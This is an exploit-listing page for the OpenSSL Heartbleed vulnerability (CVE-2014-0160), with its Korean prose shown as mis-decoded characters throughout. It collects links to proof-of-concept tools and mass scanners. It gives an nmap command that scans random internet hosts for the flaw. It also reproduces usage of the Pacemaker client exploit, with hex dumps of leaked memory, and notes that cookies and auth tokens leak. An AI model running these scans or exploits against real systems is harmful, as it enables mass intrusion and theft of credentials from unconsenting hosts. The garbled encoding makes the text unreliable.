Sploitus

Exploit for CVE-2014-0160

kitploit ยท 2026-08-28

Exploit Code

MARKDOWN189 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0X90-CVE-2014-0160
# CVE-2014-0160

## ๋งํฌ

https://github.com/DisK0nn3cT/MaltegoHeartbleed

https://github.com/a0726h77/heartbleed-test

https://github.com/musalbas/heartbleed-masstest

https://github.com/decal/ssltest-stls

https://github.com/isgroup-srl/openmagic

https://github.com/offensive-python/HeartLeak

## Nmap

nmap -sV -PS443 --open --script=ssl-heartbleed -iR 0

## Cisco & DD-WRT

http://security.stackexchange.com/questions/55085/heartbleed-and-routers-asas-other

## PoC

CVE-2014-0160๋ฅผ ์œ„ํ•œ ๊ฒ€์‚ฌ๊ธฐ(์‚ฌ์ดํŠธ ๋ฐ ๋„๊ตฌ): https://github.com/FiloSottile/Heartbleed ssltest.py: Jared Stafford๊ฐ€ ์ž‘์„ฑํ•œ CVE-2014-0160์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ๋ฐ๋ชจ: http://pastebin.com/WmxzjkXJ

SSL ์„œ๋ฒ„ ํ…Œ์ŠคํŠธ: https://www.ssllabs.com/ssltest/index.html

Metasploit ๋ชจ๋“ˆ: https://github.com/rapid7/metasploit-framework/pull/3206/files

Nmap NSE ์Šคํฌ๋ฆฝํŠธ: ์„œ๋ฒ„๊ฐ€ OpenSSL Heartbleed์— ์ทจ์•ฝํ•œ์ง€ ๊ฐ์ง€: https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Nmap NSE ์Šคํฌ๋ฆฝํŠธ: ssl_cert_expiry.nas๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ ssl_heartbleed์šฉ Quick'n'Dirty OpenVAS nasl ๋ž˜ํผ: https://gist.github.com/RealRancor/10140249

Heartbleeder: ์„œ๋ฒ„์˜ OpenSSL ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธ: https://github.com/titanous/heartbleeder?files=1

Heartbleed ๊ณต๊ฒฉ PoC ๋ฐ ๋Œ€๋Ÿ‰ ์Šค์บ๋„ˆ: https://bitbucket.org/fb1h2s/cve-2014-0160

Heartbleed ํ—ˆ๋‹ˆํŒŸ ์Šคํฌ๋ฆฝํŠธ: http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt

## Pacamaker

https://github.com/Lekensteyn/pacemaker

# Pacemaker

# Pacemaker

Heartbleed (CVE-2014-0160)์— ์ทจ์•ฝํ•œ OpenSSL _ํด๋ผ์ด์–ธํŠธ_ ๋ฅผ ์•…์šฉํ•˜๋ ค๋Š” ์‹œ๋„์ž…๋‹ˆ๋‹ค. Python 2 ๋ฐ 3๊ณผ ํ˜ธํ™˜๋ฉ๋‹ˆ๋‹ค.

## ์ทจ์•ฝํ•œ๊ฐ€์š”?

์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    python pacemaker.py
    

ํด๋ผ์ด์–ธํŠธ์—์„œ https://localhost:4433/์„ ์—ฝ๋‹ˆ๋‹ค(ํ•„์š”์‹œ ํ˜ธ์ŠคํŠธ๋ช… ๋ณ€๊ฒฝ). ์˜ˆ๋ฅผ ๋“ค์–ด:

root@kitploit:~
    
    
    curl https://localhost:4433/
    

ํด๋ผ์ด์–ธํŠธ๋Š” ํ•ญ์ƒ ์—ฐ๊ฒฐ์— ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    curl: (35) ์—ฐ๊ฒฐ ์ค‘ localhost:4433์—์„œ ์•Œ ์ˆ˜ ์—†๋Š” SSL ํ”„๋กœํ† ์ฝœ ์˜ค๋ฅ˜
    

์ทจ์•ฝํ•˜์ง€ ์•Š๋‹ค๋ฉด ์„œ๋ฒ„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    Connection from: 127.0.0.1:40736
    Possibly not vulnerable
    

_์ทจ์•ฝํ•˜๋‹ค๋ฉด_ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    Connection from: 127.0.0.1:40738
    Client returned 65535 (0xffff) bytes
    0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  some-email@example.com.
    0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
    0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
    0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
    0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    *
    4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
    8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
    ...
    e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
    e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
    fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............
    

NUL ๋ฐ”์ดํŠธ๋กœ ๊ฐ€๋“ ์ฐฌ ํ›„์† ์ค„์€ `xxd` ๋„๊ตฌ์ฒ˜๋Ÿผ `*`๋กœ ์ ‘ํž™๋‹ˆ๋‹ค.

`wget -O /dev/null https://google.com https://localhost:4433`์„ ์‚ฌ์šฉํ•˜์—ฌ ๋” "ํฅ๋ฏธ๋กœ์šด" ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์œ ์ถœ๋˜๋Š” ์˜ˆ์‹œ:

root@kitploit:~
    
    
    Connection from: 127.0.0.1:41914
    Client returned 65535 (0xffff) bytes
    0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  some-email@example.com.
    0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
    0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
    0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
    0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
    0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
    ...
    0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
    0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
    0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
    0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
    0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
    0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
    0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
    0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
    0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
    0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
    0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
    0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
    0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
    0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    *
    4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
    ...
    ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
    ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
    fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........
    

## ๊ณ ๊ธ‰ ์‚ฌ์šฉ๋ฒ•

๋” ๋งŽ์€ ์˜ต์…˜์„ ๋ณด๋ ค๋ฉด `./pacemaker.py -h`๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ๊ฐ€์žฅ ์ค‘์š”ํ•œ ์˜ต์…˜์€ ์•„๋งˆ `-t` (`--timeout`)์™€ `-x` (`--count`)์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ ํƒ€์ž„์•„์›ƒ์€ 3์ดˆ๋กœ, ๋Œ€๋ถ€๋ถ„์˜ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‘๋‹ตํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค(์œ„์„ฑ ๋งํฌ ๋“ฑ์ด ์—†๋Š” ๊ฒฝ์šฐ).

ํ•˜ํŠธ๋น„ํŠธ๋‹น ๋” ์˜ค๋ž˜ ๊ธฐ๋‹ค๋ฆฌ๊ณ (5์ดˆ) 4๋ฒˆ์˜ ํ•˜ํŠธ๋น„ํŠธ ์‘๋‹ต์„ ํš๋“ํ•˜๋Š” ์˜ˆ์‹œ:

root@kitploit:~
    
    
    ./pacemaker.py -t 5 -x 4
    

์ด๋ก ์ ์œผ๋กœ ํ•˜ํŠธ๋น„ํŠธ๋Š” 20์ดˆ๊นŒ์ง€ ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” ํ›จ์”ฌ ๋น ๋ฅด๊ฒŒ ์‘๋‹ต์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

## ํ…Œ์ŠคํŠธ๋œ ํด๋ผ์ด์–ธํŠธ

๋‹ค์Œ ํด๋ผ์ด์–ธํŠธ๋“ค์€ Arch Linux์—์„œ OpenSSL 1.0.1f์— ๋Œ€ํ•ด ํ…Œ์ŠคํŠธ๋˜์—ˆ์œผ๋ฉฐ, ํ•ธ๋“œ์…ฐ์ดํฌ ์ „์— ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์œ ์ถœํ–ˆ์Šต๋‹ˆ๋‹ค:

  * MariaDB 5.5.36
  * wget 1.15 (์ด์ „ ์—ฐ๊ฒฐ ๋ฐ ์ž์ฒด ์ƒํƒœ์˜ ๋ฉ”๋ชจ๋ฆฌ ์œ ์ถœ)
  * curl 7.36.0 (https, --ftp-ssl์„ ์‚ฌ์šฉํ•œ FTP/IMAP/POP3/SMTP)
  * git 1.9.1 (clone/push ํ…Œ์ŠคํŠธ, ๋งŽ์ด ์œ ์ถœ๋˜์ง€ ์•Š์Œ)
  * nginx 1.4.7 (ํ”„๋ก์‹œ ๋ชจ๋“œ์—์„œ ์ด์ „ ์š”์ฒญ์˜ ๋ฉ”๋ชจ๋ฆฌ ์œ ์ถœ)
  * links 2.8 (์ด์ „ ๋ฐฉ๋ฌธ ์ฝ˜ํ…์ธ  ์œ ์ถœ!)
  * KDE 4.12.4 (kioclient, Dolphin, kde4-ftps-kio๋กœ https ๋ฐ ftps ํ…Œ์ŠคํŠธ)
  * Exim 4.82 (๋ฐœ์‹  SMTP)



links๋Š” ์ด ๋ฒ„๊ทธ๊ฐ€ ํด๋ผ์ด์–ธํŠธ์— ๋ฏธ์น˜๋Š” ์˜ํ–ฅ์„ ๋ณด์—ฌ์ฃผ๋Š” ํ›Œ๋ฅญํ•œ ์˜ˆ์ž…๋‹ˆ๋‹ค. ํ—ค๋”(์ฟ ํ‚ค, ์ธ์ฆ ํ† ํฐ)์™€ ํŽ˜์ด์ง€ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•œ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๋Š” ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์ž…๋‹ˆ๋‹ค.

# ssltest.py

์ด ์ €์žฅ์†Œ์—๋Š” ์„œ๋ฒ„๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ์ž‘๋™ํ•˜๋Š” ๋ฒ„์ „๋„ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ssltest.py๋Š” Jared Stafford (some-email@example.com)๊ฐ€ ๋งŒ๋“ค์—ˆ์œผ๋ฉฐ, ๋ชจ๋“  ํฌ๋ ˆ๋”ง์€ ๊ทธ์—๊ฒŒ ์žˆ์Šต๋‹ˆ๋‹ค! http://s3.jspenguin.org/ssltest.py์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.

ํ˜„์žฌ ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” Python 2์™€๋งŒ ํ˜ธํ™˜๋ฉ๋‹ˆ๋‹ค.

## ๋งํฌ

https://www.nccgroup.com/en/blog/2014/04/heartbleed-openssl-vulnerability/ https://www.mattslifebytes.com/?p=533 https://gist.github.com/takeshixx/10107280 https://github.com/FiloSottile/Heartbleed http://www.reddit.com/r/netsec/comments/22huui/python_heartbleed_cve20140160_proof_of_concept/

http://lab.onsec.ru/2014/04/memory-dumper-based-on-cve-2014-0160.html